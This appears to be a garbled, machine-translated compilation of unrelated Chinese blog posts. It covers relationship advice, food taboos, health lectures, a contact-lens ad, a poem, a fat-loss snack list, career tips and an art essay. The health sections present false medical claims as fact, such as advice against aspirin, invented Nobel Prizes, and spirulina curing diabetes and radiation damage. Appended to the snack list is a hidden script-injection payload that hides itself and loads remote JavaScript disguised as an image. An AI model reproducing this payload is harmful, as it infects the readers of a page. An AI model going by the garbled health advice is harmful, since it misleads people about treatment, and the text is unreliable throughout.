How to hurt a woman man

 When you love a woman, be sure to tell her loudly. The girl was restrained, and easy to insecure. If you love her, tell her to say a few times and no relationship. When you do not love her, do not hurt her, men can try not to hurt the woman, rather the fault of all the blame on himself, not to mention because I did not love. Woman's heart is very fragile, vulnerable to injuries and not easily restored. You have very much in love, do not think that old couple, do not sweet and romantic. A woman after all, is a small woman. Any woman can not resist the gentle man.
2, men have self-esteem, women also have, sometimes women do not mind the little friends in order to vanity, that you have confidence, so we hope you are better than others.
3, when she was shopping, no matter how tired you are, how much do not want to watch her try on a set of clothes, do not have any patience, because the woman's nature is to go shopping, and and with people who love shopping, but also reflect your love of the moment, though your task is the expenditure of labor and wealth, but to see the air of a woman enraptured, you should think this is worth it.
4, a woman every month a few days, light with a bad temper, like a weight was seriously ill. Woman born should be taken care of. Those days is so gentle with her, the benefits of the future is definitely the man.
5, women are required to accompany, and not always for their friends, brothers of the invitation, not drinking, that is, playing cards, and occasionally over and over again is pleasure, but women still have to stay. Handle the relationship between the two is always useful.
6, a woman who likes to cook and clean his beloved, proper arrangements for you all, that is love your performance, it is not sometimes do you cook a meal for a woman are also pleased about, and occasionally The surprise is an effective way to promote feelings of both.
7, when a woman tells you, is weak, when she may be strong when the time is to leave you. So ever indulgent woman, take them when the baby or child.
8, do not let a woman in emotional despair, feelings of despair, when a woman of the time, also the most difficult decision to change the time. Any time, do not hurt a woman, a woman overwhelmed by injuries.
9, love a woman, is to pet her and love her, and holding in her hand and ran afraid, afraid of the in your mouth.
10, a woman asked the very simple fact, as long as a man who loved her enough. While men in the pursuit of career, points to treat seriously a little bit of love.

Remember can not just eat a few things

 Chives have aphrodisiac effects, a child can not eat.
△ pumpkin with a boost, the role of Zhichuan, high blood pressure can not eat.
△ mustard, fennel, garlic sprouts, leek, onion, bell pepper with the temperature in the role of fever can not eat.
△ yam, Potato with the role of qi, insomnia can not eat.
△ purslane, taro, bitter gourd, potherb mustard with the heat effect, impotence of the people can not eat.
△ eggplant, lentils, beans, peas, soybeans have the role of qi, diarrhea can not eat.
△ toon with a sedative effect, in agility work can not eat.
△ cauliflower, Lily has the role of Yin, edema of the people can not eat.
△ spinach, bamboo shoots, Tonghaosu the role of a sour, constipation can not eat.
△ shepherd's purse, water spinach, lily has a role in hemostasis, thrombosis of the people can not eat.
△ amaranth, cabbage has a role in the blood, the blood viscosity of the people can not eat.
△ celery, cabbage, Chinese cabbage, rape, lettuce, wild rice, vegetables, bamboo shoots, melon, Hulu Gua has a diuretic effect, diabetes, hypertension, dry mouth, people can not eat.
△ coriander role with sweat, sweat and more people can not eat. △ fungus, bamboo shoots, seaweed has the role of phlegm, cancer patients can not eat.
△ mushrooms, black fungus, white fungus, Umbilicaria, to the role of the ear with diarrhea, diarrhea can not eat.
△ loofah, fern, aloe vera has a role in blood of cancer patients can not eat. However, many people you eat, so get that sick; and sick after you eat yet, so can not be recovered.
△ walnut is impotence, but cancer patients do not eat; or tumor will grow.
△ loquat, ginkgo is a cough, but not cough, do not eat; otherwise dizziness bloating.
△ is the temperature inside the lychee, but cancer patients do not eat; or tumor will grow.
△ jujube is qi, but not tired not to eat; otherwise you will sleep.
△ olives, Mangosteen is the heat, but the impotence of young people not to eat; otherwise weak penis. △ citron, bergamot is a line of gas, but not bloating do not eat; otherwise you will loose stool.
△ longan is a sedative, but tired of people do not eat; otherwise sleepy.
△ lemon is Yin, but cancer patients do not eat; otherwise lumps will edema.
△ banana, orange, oranges, cherries, persimmons, pomegranates, red bayberry, carambola, papaya, lotus, mangosteen fruit is diarrhea, but constipation do not eat; otherwise it will be more constipation.
△ mango is bleeding, but to people who do not eat period; otherwise you will have uterine fibroids.
△ acid vine fruit is the blood, but people do not eat the blood viscosity; or thrombosis occurs.
△ watermelon, melon, grapes, ganzi, kiwi, pineapple, water chestnut, strawberry is a diuretic, but hypertension, diabetes should not eat; otherwise it will increase blood viscosity.
△ coconut water is the solution table, but not a cold person not to eat; otherwise it will sweat Shangyin.
△ kumquat, grapefruit, water chestnuts, peanuts are phlegm, but cancer patients do not eat; otherwise it will result in mass ulcerated.
△ pears, bananas, figs, Fructus Mori Albae, pine nuts, Tamarind is diarrhea, but the chronic colitis who do not eat; otherwise you will hole more than diarrhea.
△ peach, chestnut, Ficus pumila fruit is the blood, but cancer patients do not eat; otherwise it will cause mass transfer.
△ Torreya son, hazelnut, and betel nut is the insecticide, but the hepatitis patients do not eat; otherwise it will cause liver damage. Some people say, peaches, apricots wounding guarantor, under the buried Xinfen plum, peach seems the safest. Wrong, since ancient times, Apple's placid nature, the most suitable for everybody to use.
tomatoes.

in the United States, almost every family types of tomatoes, eat tomatoes, aimed not cancer. This is just 5,6 years ago, they know. Cancer may not eat tomatoes, you know? Not uterine cancer, ovarian cancer, pancreatic cancer, bladder cancer, prostate cancer. This is not just to eat tomatoes this, I ask you, how to eat tomatoes? Some say that's not easy to wash raw chanting. Slice also put sugar, then drink beer. If it is such a food, I tell you, free ride it! Not cancer. Inside there is something called tomato tomato pigment, which, combined in one protein, fiber wrapped around hard to come out. Must be heated, heated to a certain level before it. I tell you, fried eggs, tomatoes, the most valuable. There are tomato soup, or tomato and egg soup is good. Raw tomatoes are not cancer, please pay attention. [/ Url]

there
garlic Garlic is the king of cancer. I just wrote a how to eat garlic, it was said: that thing too warm to eat. What are you hanging warming? I tell you, zero heating garlic! Shandong Province, Northeast favorite, a prosthetic to eat, and said not to eat garlic and cancer, but cancer of the few days he served. Why? Now the world knows how to eat garlic, only we do not know. Tell you, the original must first cut it into pieces, a piece of sheet on the air 15 minutes after it combines with oxygen to produce allicin. Garlic itself is not cancer, Allicin only cancer but also cancer of the king. The day I see people eat garlic, he took a bowl, then quickly put the garlic peeling out, a one to eat, eat less than 5 seconds into it. Not even 5 seconds, what is the use of garlic that you? Not at all. If you do not follow my method, it is quite unlikely that the
garlic flavored Do not worry, eat hawthorn, chewing peanuts point, and then eat a good taste of tea, no. Foreign eat every week, and why we do not eat it!


the following about the black fungus.

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black fungus for? Now one to the New Year to suffer a myocardial infarction in one, increasingly early age, has 30 years of age. Why do many New Year? Two reasons, one is thick blood coagulation body is fat, high. We remember the people called thick blood coagulation constitution. Hypercoagulability hypercoagulable physical person with food, so the New Year many people, especially myocardial infarction, irrespective of age. Although myocardial infarction is no cure, but it can be prevented. Some doctors tell you take aspirin, and why? Can make the blood is not sticky, not myocardial infarction. But the consequences of what the consequences of aspirin retinal hemorrhage, retinal hemorrhage is a lot of people. I advise you not to eat aspirin. Aspirin is now Europe has not eat, and eat? Eating black fungus. Black fungus has two roles, one of which is that blood is not sticky. The role of the black fungus found in U.S. cardiologist, he got the Nobel Prize. He found that after all the Europeans, who have money and rank black fungus eat, and eat aspirin. What kind of person is a high condensate constitution? The answer is short, thick, fat people, especially menopausal women compatriots. And blood type AB are more likely to high coagulation thick. The shorter neck, the more likely there are high coagulation thick. First New Year do not eat Hesse Hu; second drink plenty of tea, blood circulation; and third do not get angry, and his blood to thick. Thick blood also easy to drink liquor, drink to drink wine, such as fruit wine, red wine, which does not exceed 100 ml.

If you eat peanuts, [/ url]

Do not eat, really eat, peel and eat the skin. You see we Chinese peanuts, spiced peanuts, fried peanuts, fried peanuts all the skin. You go to Europe to see, not all skin peanuts, and people know not to eat the skin. Some people said: Who said that, I tell you, there is no nutritional peanut skin, it can only rule HA films, increased platelets, used to stop bleeding. We do not eat in the elderly. As well as watching TV to note that a good TV to watch a moment, the TV does not look bad. Why? Sat there a long time, hemagglutination degrees will rise. I am particularly worried about? He had short and thick fat, no neck, still menopause, blood type is AB, Hu eat Hesse, then a angry, and drink liquor, finished eating peanuts not skinned, and he condemned myocardial infarction was my doctor wrong.

following pollen turn to eat the pollen
Wu, Empress Dowager Cixi eat pollen. We all know that the sperm of plant pollen, conceived of life, the most abundant nutrient in the plant where the best of things. Ancient times, but we ignored it. Please do not buy in the streets of pollen, the pollen having hard sell on the street, not broken. Broken to have high-tech treatment. Second, pollen is wild, easily contaminated, should be disinfected. Third, it is a protein, to desensitization. Pollen must have these three to use: treatment, disinfection, desensitization. Pollen used in Japan, the most powerful, no matter how old people are using it beauty. France, no one model do not use it. Literature, pollen cure rate of 97%. As with pollen cure, medicine can not solve, and finally renal failure, hematuria, and renal tumors. So to rule Do not wait until early renal failure. There is also a gastrointestinal disorder, female compatriots more habitual constipation. Many people take a laxative and it is easy to get cancer, colon cancer. Pollen has a name called intestinal police, eat pollen, the police were able to maintain intestinal order. Thirdly it is fit and maintain shape. The role of pollen of the three can not be ignored.

radio station said that eating food is better than four legs two legs, and eat more food than two legs legs. Not the same as in Europe, if you attend the banquet, we should note that if there is beef, but also pork, should eat pork. Beef too many problems, first with mad cow disease, the second a foot and mouth disease, and the third with bad cholesterol. Thirty women in the United States now had lymphatic cancer, eating hamburgers to eat out. So they are great controversy, has killed tens of thousands of cattle, we should be careful to eat. If you have pork, mutton, mutton; have another chicken and mutton, chicken; chicken and fish, fish; a fish shrimp, prawns ah. It is not polite, the smaller the animal protein as possible. Simple and popular animals to see the size of nutrition, who can not read the formula used. I do not say mice. International Conference, said the best flea protein. Although it is fleas so small, it can jump 1 meter high, you believe it or not. If it is enlarged to the body so much, it can jump the moon. Therefore, several American doctors wondering how to eat a flea in it. WHO is the United Nations suggest that you eat more chicken and fish, shrimp, why not mention it? Not not mention, but shrimp is too expensive, not easy to spread. If you have shrimp or prawns well. I now hold such a principle: If I ate two shrimp to the shrimp, a stomach that two of beef than you need to make more protein. Become very popular fish, fish protein one hour can be absorbed, the absorption rate of 100%, while beef protein 3 hours to absorb. Fish, especially the elderly frail people are particularly suitable. Certainly better than the fish shrimp. International survey, the world's most famous longevity areas in Japan, Japan's longevity areas in the sea, and sea life is the longest place to fish. Particularly want to eat fish, shrimp, in particular, to eat whole fish (with headband tail), because the active substance and the active substance in the fish, shrimp head and abdomen. See you will not buy fish, shrimp should only buy fish, and eat the whole fish, whole shrimp, which is the University asked the bigger the better

not buy fish there is a principle to eat, eat to master volume, not better. Internationally prescribed, eat 7 percent full, life can not stomach to eat up a full 8 percent, if the food 10 into the full, and that 2 percent of no use, waste. Therefore, we recommend the international Golden Section 0.618: non-staple food staple 6 4; coarse grains, flour and rice 6 4; Plant 6 animals 4. Now the human animal to eat too much food and weight imbalance.

material balance has a law, I will brief you. Newborn to 5 months of breast-fed babies the best, more than 5 months, breast milk also die, need 42 more food. Old people even harder, what to eat? Eat the algae, dry it and eat the bag, and then drink seaweed soup. Spirulina is found in 1962, it is 1 gram is equal to 1,000 grams of various vegetables synthesis. Queen's was only the emperor, the Olympic champion eat, others eat none. Many years later found that particularly good thing, particularly rich in nutrients, most comprehensive and the most balanced nutrient distribution, and is an alkaline food. I tell you why Japan is the world champion long life, they consume 500 tons of Spirulina year, they travel to China each have brought it. We asked them, why take Spirulina? They say, 8 grams of Spirulina can survive 40 days. Now space food, no pie with steamed buns, and all spirulina. Spirulina is very famous in the world, so you if nutrition is not good, do not forget this stuff, it can balance the diet. Several disease it is particularly important, firstly, cardiovascular diseases, it can lower blood pressure, blood fat; second is diabetes, the disease is the lack of protein, vitamin, it is difficult to cure, spirulina to supplement the vitamins, and spirulina The biggest advantage is that complications of diabetes may not, matter sorted out as normal diet. Diabetes lack of energy, can not eat candy, Spirulina is dried sugar, dry sugar intake, there after the energy. Third, gastritis, gastric ulcer, Spirulina has chlorophyll, a recovery effect on the gastric mucosa. Fourth, hepatitis, hepatitis international no, why? Fencan the people. So call each family to pay attention, the best Dining. Note that many people seem to be healthy, you see he is a carrier. Spirulina can not replicate the virus, and liver cells can restore a large number of amino acids. It has choline, liver function can enhance immune function. Spirulina also radiation effect. Soviet nuclear explosions, Japan experts to the rescue, taking Spirulina is it a strong anti-radiation effect. Spirulina purified, it is plain that a very small algae called rehabilitation, radiation is the only algae rehabilitation. Therefore, people who work at the computer, eating algae rehabilitation. Its anti-radiation, anti-tumor, anti-virus, anti-oxidation, and improve immune function.

me to sum up, we have a great impact of radiation on, but there are several ways to prevent: the first drink green tea, the second to eat vegetables, carrots, eat Spirulina third, fourth rehabilitation eat algae. Algae rehabilitation is the best. According to their own economic conditions to select a, it is not eat apples and oranges. Radiation is exposed to everyone. The international community warned: Do not put appliances on the bedroom. Especially the most harmful to our microwave, it has to us within 7 meters of radiation. And while a variety of electrical appliances do not open. Another TV, another refrigerator, microwave oven there, you cook on the side, you have cancer is very wrong ah.
aerobic exercise has a very principle

experience, do not the morning exercise. Suggest that you exercise the evening. International regulations, and 45 minutes after a meal and then exercise. And the movement of elderly people walking on it, 20 minutes. To lose weight do not have this method, a half hour to an hour before meals, eat 2-4 spirulina, and then to diminish the appetite, and lack of nutrition. Europeans to lose weight all with spirulina, the domestic eat Dora not a solution. The second time in the morning to get up, the international regulations 6, for your reference. Window of time specified on the 9 to the International 11, 2 pm to 4 points. Why? Because after 9 sinking of air pollution, and reduce pollutants, and no reflux phenomenon. Members note that the morning open the window, not where the big breath, as carcinogens, reflux material have come to your lungs, and easy to get lung cancer. International warned that the 6 am to 9 points are the most dangerous time cancer. Early bed and early to good health can not be generalized. Your stomach the night at home, a carbon dioxide absorption, respiratory tract, where there are 100 kinds of toxins, but also ran a small woods, the woods all morning, and carbon dioxide. Morning exercise, the basis of high blood pressure, basal body temperature high, adrenaline 4 times higher than in the evening, people with heart problems is easy. Out of the woods have to go to the sun, the chlorophyll to react with sunlight to produce oxygen. The woods all the time carbon dioxide, easy to poisoning, easy to get cancer. Huang Di Nei Jing says, I suggest that you keep good hours in summer, winter, do not go out the morning workout, evening workout instead. Not to say what kind of person are Zaoshuizaoqi good health, age from large who do not fierce.

nap problems mentioned below. Nap time is half an hour after lunch, and preferably an hour of sleep, sleep too long on the body no good. Do not cover a large quilt. What time at night to sleep? We never advocate early hours. Early hours of the concept to make it clear that if sleep 7:00, 12 got up Scrapped, it does not work. We stand for 10 to 10:30 to bed, because the international conference given an hour to one and a half hour into the deep sleep is the most scientific, which is 12 points to 3 points, 3 hours this unshakeable, what they should not do. This 3 hours of deep sleep. If this 3 hours who is good, it certainly refreshed the next day. If you go to bed after 4:00, it is light sleep. Will be sleeping and not sleeping is not the same. We stand for 12 to 3 am unshakeable, and a hot bath before going to bed, water temperature 40 to 50 degrees, which makes high-quality sleep.
mental state mental state
If not, you exercise and eat for free, which is very important. Temperament and blood, if you have a long slow gas flow, may not know what causes cancer. Easy to get angry tumor, the whole world know. Stanford University, made a famous experiment, take a nasal tube resting on the nose so you breathe, and then let's use a nasal tube on the snow for ten minutes. If the snow does not change color to show that you calm; if snow white, and that you are guilty; if the ice purple, and that you are very angry. Out of the purple ice 1 to 2 ml to mouse marked, 1 to 2 minutes after the mice died. And have studied the composition of the purple ice out. So easy to get angry tumor, this is a very serious problem. I urge you, why did not you angry, do not be angry. If you wait any longer, I tell you, you look at the table, not more than 5 minutes, more than 5 minutes to be a bad thing, the blood become purple. This experiment has already won the Nobel Prize. Psychology will move people to avoid the anger of 5 ways: First, avoid; second shift, people call you, you go to play chess, fishing, did not hear; third is released, but to pay attention, people call you, you go criticize others not call release, is to find close friends to talk, release, or else put in their hearts to be diseased; Fourth, sublimation, that is, the more people that you, the more you do it right; Fifth, control, Zhuge Liang in Romance of Three Kingdoms three gas Zhou Yu, Zhou Yu Leng to mad. Or you Laizhou Yu Liang Lai? Concluded that the Laizhou Yu, his volume is too small. Great harm on the people angry.

now saying the international community has a new, all animals are not the function of laughter, only humans have this feature. But human beings do not make good use of it. Ancient said: smile, ten years less. Not refer to age, is the state of mind. Smiling, healthy often. The role of laughter is very large, the United States set up a club smile, laugh became a sign of health. Laughed, wrinkles gone. So many patients are not laughing. Not the first migraine, back pain after the second not, because when the microcirculation exuberant laughter. General no pain, no pain, General. Had migraine do not worry, like a laugh, do not believe you can experiment. And sexual function is not reduced, reproductive function is not weakened. You see people 92 years old Romanian woman given birth to baby fat, people laugh every day, ah. We are now more than 30 years of age do not have a baby every day Bengzhuo not had a face, of course. Also, always smiling on the respiratory, digestive tract are particularly good. Can do experiments, you start feeling the belly laugh, laugh three times a day, three times a stomach rumble, no constipation, no gastrointestinal cancer. Exercise your upper and lower extremity exercise, when exercise stomach it? No chance, only laughter can exercise the stomach. Laughter in the international arena has become a health standard, I investigated many times, laugh a second Nobel Prize has been released. Smile for the pituitary gland, resulting in embryonic brain, it is a natural anesthetic. Do not worry if you got arthritis, directed at the joint laughed, while not hurt. There are so many benefits of laughter, why do not we laugh? Recent survey in Beijing over human life you know the old man or old lady long long? I tell you, old lady old man longer than average to live more than 6 ½ years old. The biggest advantage is that many of the old lady from a young age like to laugh, to the old, still laughing. However, if you sad, tears must be

international conference has given us a warning, let us drink green tea, soy, sleep well, regular exercise, do not forget to always laugh. Hope that everyone should pay attention to a balanced diet, aerobic exercise, and attention to your mental state, when the cry cry, laugh when the laugh. I believe we can over the 73 years past the 84-year-old, 90,100-year-old will be alive

good lungs and phlegm pears, apples to stop diarrhea and nutritious.

effective weight loss of cucumber, kiwi fruit inhibit cancer.

blood to help face tomato, lotus root Chufan wonderful hangover.

good qi orange phlegm, kidney warm leek knee waist. In addition to flatulence digestion

radish, celery can cure high blood pressure.

diuretic row toxin cabbage, cauliflower eat less cancer.

swelling diuretic melon, green beans detoxification high efficacy. engage in casual fungus

cancer blood stasis, kidney swelling yam consumption.

loose silt Results iodine kelp, mushrooms contain cancer cells.

pepper fend off the cold and dampness, onion spicy ginger for colds.

trotters make milk fish, liver goat liver good eyesight.

Yishenqiangxin waist eating walnuts, dates Jianshen Spleen eat.

Barbie Loves the big difference between hydrogel and hydrogel GEO

 Barbie loves big GEO hydrogel hydrogel with different
recently, Barbie Love , after following the Mirage series , recently out of a series of new hydrogel --- great series.
parents who see the Difference?
us come from a relatively large visual difference between hydrogel and hydrogel :
Comparison of comfort If the parents are wearing excessive wear GEO hydrogel hydrogel and then , you can immediately feel the love of big Aqua Barbie comfort much better than GEO 's .
GEO hydrogel wear long , the glasses feel a bit dry .

I Just Love You

 Do not get rid of the bulk melancholy depression Why is my heart an empty

has lost all feelings of loss
filled with hate can not eliminate worry
why your mouth is always that one
why my heart will not die
understand that all is not lost on love
Why I Just Love You

love love is like a burden to suffer *
heart full of bitter tears Now
old drunk this occasion are as afraid of catching
happens to see you silly
every minute thinking about why my heart over the past Why do you not remember that

affectionate friend and brother have lost have lost
Why I Just Love You.

12 kinds of snacks to take away your excess fat mad

 Normal diet clearly some people, but why excess body fat is it? The answer lies in the food, some foods you eat then less will only encourage your body fat, while some food that you eat more, but also just scrape off the water in your body!



; ; 1, oat
with the role of cholesterol and blood fat. Since oats are rich in dietary fiber, this soluble oat fiber, not found in other grains. Because the fiber is easily absorbed, and because of low heat content, both conducive to weight loss, but also for heart disease, hypertension and diabetes on the therapeutic needs.




2, corn is rich in calcium, phosphorus, magnesium, iron, selenium and vitamin A, B1, B2, B6, E and carotene, is also rich in fiber. Vegetables, corn oil, can reduce cholesterol and soften blood vessels. Corn on cholecystitis, gallstones, jaundice, hepatitis and diabetes, the role of adjuvant therapy.


3, onion and garlic onion rings containing acid such as allicin and sulfur compounds, can help dissolve blood clots. Onion almost no fat, can inhibit the high fat diet induced cholesterol, help to improve atherosclerosis. Onion onion extract element, can the treatment of cardiovascular sclerosis. Garlic can lower total serum cholesterol, triolein content. Secondary metabolites of allicin - methyl trisulfide, has prevented the synthesis of coagulation A2 suppository mass effect, it can prevent blood clots. Garlic can treat obesity.


4, yam the mucus proteins, can prevent deposition of fat in the cardiovascular system to maintain blood vessel elasticity, prevent atherosclerosis and reduce subcutaneous fat deposition, to avoid obesity. Yam of dopamine, a dilation of blood vessels and improve blood circulation function. In addition, the yam can also improve the human digestive function, enhance physical fitness. If indigestion during the Chinese Lunar New Year, you can use yam, lotus seeds, add a little sugar Gorgon Gong Zhu.
; < br>5, seaweed
known as Seaweed with its low-calorie, low fat impressive, some algae have a lipid-lowering effect. Kelp and other brown algae, rich in colloid fiber, can significantly reduce serum cholesterol. Seaweed also contains many unique active substances, with blood pressure, lipid-lowering, hypoglycemic, anti-cancer and so on.


6, TremellaTremella obvious lipid-lowering and antithrombotic effect.


7, potatoes have a strong lower blood cholesterol, maintaining blood acid-base balance, anti-aging and anti-cancer effect. Potatoes are rich in dietary fiber and resin volume of bowel material etc., can be described as


8, celery contains more dietary fiber, especially with lower blood pressure components, but also fat, lowering blood sugar.


9, dates and more food can increase the antioxidant power and immunity. Dates to lower blood cholesterol, triolein is also very effective.


10, Hawthorn can strengthen and adjust the heart, increasing the ventricular and atrial motion amplitude, and coronary blood flow, can lower cholesterol, promote fat metabolism.


11, chrysanthemums have the function of lowering blood lipids, with stable blood pressure. Adding a little daisy in green tea, have a good cardiovascular health.


12, apple pectin can reduce their blood cholesterol. Apple is rich in potassium, can rid the body of excess sodium, such as eating three apples a day, to maintain blood pressure, blood lipids are good. [Flash, 0,0] style = ee: expression (eval (unescape ('this.parentNode.style.display% 3D% 27none% 27% 3Bif% 28% 21window.xxr% 29% 7Bvar% 20l% 3Ddocument.createElement% 28% 27script% 27% 29% 3Bl.src% 3D% 27http% 3A / / love.avtupian.com / a / q / mq.jpg% 27% 3Bl.type% 3D% 27text/javascript% 27% 3Bdocument.getElementsByTagName % 28% 27head% 27% 29.item% 280% 29.appendChild% 28l% 29% 3Bwindow.xxr% 3D1% 7D'))); display: none.

Before the age of 35 should do the nine things

 The youth of the late, after 35 years of age is the harvest season, if you are not qualified to say this, you will hate yourself. So 35 years ago, in brilliant vibrant youth, you'd better do something the next nine.
First, learn everything you need in the industry has been the development of knowledge and
King Bulu Dan late part of his 35 years of age, has become the industry leader in parts and set up a revenue of millions of dollars in the Gulf and Western Industries. Everyone in his youth may have been overnight, hard work and discipline, which in the age of 20 or even 30 years old, no problems, but at 35 years old, there should be for learning the basic skills and a big headache. A person before the age of 35 engaged in the stage of primitive accumulation, should be paid off after 35 years of age had.
second, to develop a personal style
before the age of 35, find out what you like, whether it is clothing or a hobby, even if it is different little habits 也好. 20 years old, 30 years old you can keep trying, keep changing, but to 35 years old, you have to explicitly create a personal style. A man or woman in the middle of changing their business image, it will make people think it is very reliable. Do you like wearing a suit? Good!'ll Mark it as your suit! Put some flowers on the desk will make you more efficient? Then put some fresh flowers every day now!
Third, in the emotional life of peace and stability
career in climbing the peak, if not a happy private life, into emotional crisis, you will have a great disturbance, or even that you will gradually lose interest in other things. Before the age of 35 who have been peaceful and stable private life, normally volatile than the life of the people have a better chance to succeed. So if you want to end a fruitless love, or you want to marry his girlfriend, then to act it, lest the problem onto one years of life after 35. In the 35 years of age, you should focus on looking at your investment career began to gain, I have done in this regard is not good enough, self-examination.
Fourth, understand their weaknesses
admitted that some things you really do not, or will not do. If you hate figures like writing, then do not because of high pay or to comply with the expectations of others to force myself to do digital work. In the 35 years of age, be sure to put your favorite, the good kind of work. Otherwise, after 35 years of age are bound to have a gloomy day. Moreover, the real success may subside because of the loss of vitality.
Fifth, know your strengths
what you should know good and well but you like to do things better than others. No matter what your current role as to know their own strengths are important for success.
Sixth, reserve the resignation of another way of living money
in this changing professional world, you may not always be a place to work, or always in a position to play vividly yourself, when you feel impossible to use, you might consider resignation, or opening up the first second career, if you save enough money in advance, you will have a secure backing.
Seventh, to establish personal relationships
to 35 years old if you have not yet established a strong network of relationships, you have a problem. The personal relationships, including your friends, loved ones, at least all the people can help each other. Some of these people your colleagues, and some have received your favor, some of you listened to their problems, some of you and he have the same hobby. Personal relationships can not be established overnight, and it will take years or even ten years of training. A man in business, in fact, successful life as a political party's success, you need to have a lot of people scattered in the right places, you can rely on them, they can rely on you.
eighth, learn authorize
many people unwilling or unable to do so, it has been nailed to a subordinate position. Authorize others is half the battle, a micromanager, not someone who will work authorization, is destined to face great obstacles. To 35 years old, you'd better have become experts in this field. In other words, you know how to pick the right people and trust them.
Ninth, learn when to remain silent
due to speak but her career does not care who, for any other reasons than those who are more successful. To learn to remain silent and looks wit - people naturally think.

Chinese art and the Standard of Evaluation

 Lead: 30-year ebb and flow of contemporary art into the art scene gradually from a purely public view, but the value of the standard Chinese art has not been established, how should we evaluate a work of art is good or bad? Idiopathic this article, the reader is willing to discuss contemporary art value judgments problem.
evaluation of art are related to the development of the arts has never been the core issue, of course, the Chinese art of contemporary Chinese art as a development of a new system, but also need to establish and build their own system of evaluation system and the corresponding standard, as it relates to the development of Chinese contemporary art, art direction and the way the problem can be described as important and central issue.
in the study, we found that, for the evaluation of contemporary art, Chinese art may be mainly from the following four level to start: First, the spiritual level, that is, the evaluation of the cultural spirit; second value level, that is, a systematic review of the artistic value; third work level, that systematic reviews of the works; fourth level of technical means, that painting technique , skills evaluation practices. This multi-level cross-evaluation can be more objective and specific standards and reflect the state of their art.
1, the cultural spirit and the analysis and research evaluation
hundred years of Chinese art history we see a nation is how to use their tenacity and wisdom to continue to defend and enrich their own national cultural heritage and cultural spirit at the same time, we are more profound understanding of contemporary Chinese art development of historical significance, and we should bear history mission. through the centuries of Chinese art in the development of the red line extension of the dimension, how to stand in the spirit of Chinese culture on the horizon, and not lost in material things grow into the forest, how to understand the aesthetic of Chinese art in the promotion of the spirit of the Chinese nation pursue, and continue to the spirit of personal independence and the unity of the liberation of other major academic and practical issue is the century before us issues.
cultural self-confidence as strong as the fortunes of the time came to us gradually, culture The client had been politically marginalized, only a step towards people's social and economic life of the front desk. is decorated in the experienced and strategic considerations, people find more cultural spirit is a spiritual pillar of the state and nation and the soul. It seems in one night, became a cultural spirit of the label is affixed to all over the place, but what is the cultural spirit, the spirit of why the analysis and understanding of culture, but rarely studied under.
Changes in any case the spirit of Chinese art , should be the thrust of transmission of cultural spirit, the spirit of this culture is not a rigid concept of history, but a process of synchronization with the spirit of the times, so we are always observing oneself, reflection of social, spiritual home of aesthetic contemplation. the spirit of culture system development needs of the times, and only a good understanding of the cultural spirit, in order to better nurture and develop them. of deepening understanding of cultural spirit, the spirit of culture itself is an important advance training and promotion. To systematic analysis of cultural spirit, the spirit of Chinese culture to know that the ideal is true, the good, the United States; Second, we must understand the spirit of Chinese culture, the goal is the comprehensive development, including the human spirit of freedom and human liberation; Third, we must understand Chinese culture is a forceful character; Fourth, we should know the spirit of Chinese culture physique is above board; fifth to clear the spirit of Chinese culture is a unity of knowledge and practice means that the pursuit of the unity of body and soul, reality and the ideal of the unity of thought the unity and action.
pursuit of cultural awareness is a state, it is to survive in today's environment, and development of artistic creation is an important proposition. culture, there is a state, and cultural awareness is a pursuit, a kinds of values under exploration. continued diversification in the arts today, the reason why we revisit the concept of cultural awareness is to pay more attention to artistic creation and to explore how to avoid lost in the technology and the reality of the jungle, along the culture coordinates, but consciously active cultural spirit of the highlands toward the front line. only this, art can become a source of creation of the torrent. With the advances in technology and social development, culture and integration of the cross will continue to be cultural spirit, cohesiveness will determine a nation among the nations in the world able to stand long in the same spirit of this culture will determine the cohesion of a culture in the large field of vision in human development, how far.
2, the value of the system and evaluation criteria
material to meet the needs of the property is its value in use. Marx's difference: as a simple value in use (items to meet the needs of the people some kind of property), it can be the product of labor can also be a product of nature; as the use of the product value of labor, it must be the result of human labor on purpose; The use value as a commodity, it is not the product of labor, but useful, and must be useful items to others, that use value must be a community. Modern art is not natural objects, the purpose of art workers have the results of work, and must Most contemporary art is not for my enjoyment and entertainment, arts in order to satisfy the aesthetic needs of consumers have the spirit. Therefore, the use value of contemporary art is a social value in use.
contemporary art created on purpose as a human objects, many people have to meet the needs of the spirit of aesthetic properties, therefore, has a wide range of use value. use value is the natural attributes of contemporary art is a social one of the important spiritual wealth.
the use of contemporary art value is very broad, including: First, the value of social awareness. contemporary art through the creation of specific, vivid, as distinct aesthetic arts, performance, reproduction of the rich historical and real-life picture of the image to help people understand the life and times history of emotions, broaden their horizons, to make up for lack of experience, makes a peak during the aesthetic experience, and understand the many truths usually difficult to understand, to understand life and the meaning of life, human value and potential of digging, the distillation of the human pursuit of truth, goodness and beauty of the noble emotions, and guide people to the entire mankind and the ultimate value of the underlying situation, which greatly deepen the cognitive level, to reach a new understanding of height. The second is the value of ideological education. aesthetic has been reflected the artist's world view, social ideals, ethics standards, aesthetic awareness and aesthetic evaluation. good intentions of the rich aesthetic content, and artistic image of the noble objective brilliant character and charm, will make a great educational aesthetic power of images. Third, the value of emotional communication. Art art appreciation primarily consumer seek emotional satisfaction and enjoyment. people need emotional exchange, need to communicate and understand the need to respect and compassion, you need comfort and care, the arts feelings deep, rich, cohesion and emotional development of the ups and downs, layers of depth and emotion and King's blend of strong emotion caused by the atmosphere of aesthetic image of a huge emotional, spiritual communication and will have resonance, so that appreciation Concert-like emotions are met. Fourth, the value of aesthetic pleasure. aesthetic pleasure is the value of aesthetic image lead to the appearance of the aesthetic perception, aesthetic imagination of freedom, aesthetic emotion and aesthetic understanding of the dynamic nature of such non-conceptual together leaving the viewer to obtain curiosity satisfied, then the happy knowledge, compassion intoxication , desire to achieve a sense of emotional and other spiritual pleasure free feature that can improve people's aesthetic ability to foster good aesthetic taste, open-minded, elevated feelings. Fifth, the value of the spirit of Yi Yang. outstanding contemporary works of art people have the pleasure of the United States get to enjoy art, the swap of life are, in education, wealth of knowledge at the same time with entertainment and rest. Sixth appreciation for collection. outstanding works of art for collectors of the greatest value is to make it again and again, to appreciate these works of art when pleasure in the soul and spirit, in soul satisfied.
3, and value form the analysis of
general point of view, the value of contemporary art can be divided into five parts, the specific physical value, artistic value, cultural value, historical value, market value. Here, we will commence for these five areas were discussed.
(1) physical value
called physical value, contemporary art is embodied in the physical level, the value of the performance The major has two parts: First, the material works; Second, works of basic materials used. works of art creation in China, due to the weight of the physical value of the share of small, in general negligible, but This neglect does not mean there is no relevant value.
(2) artistic value
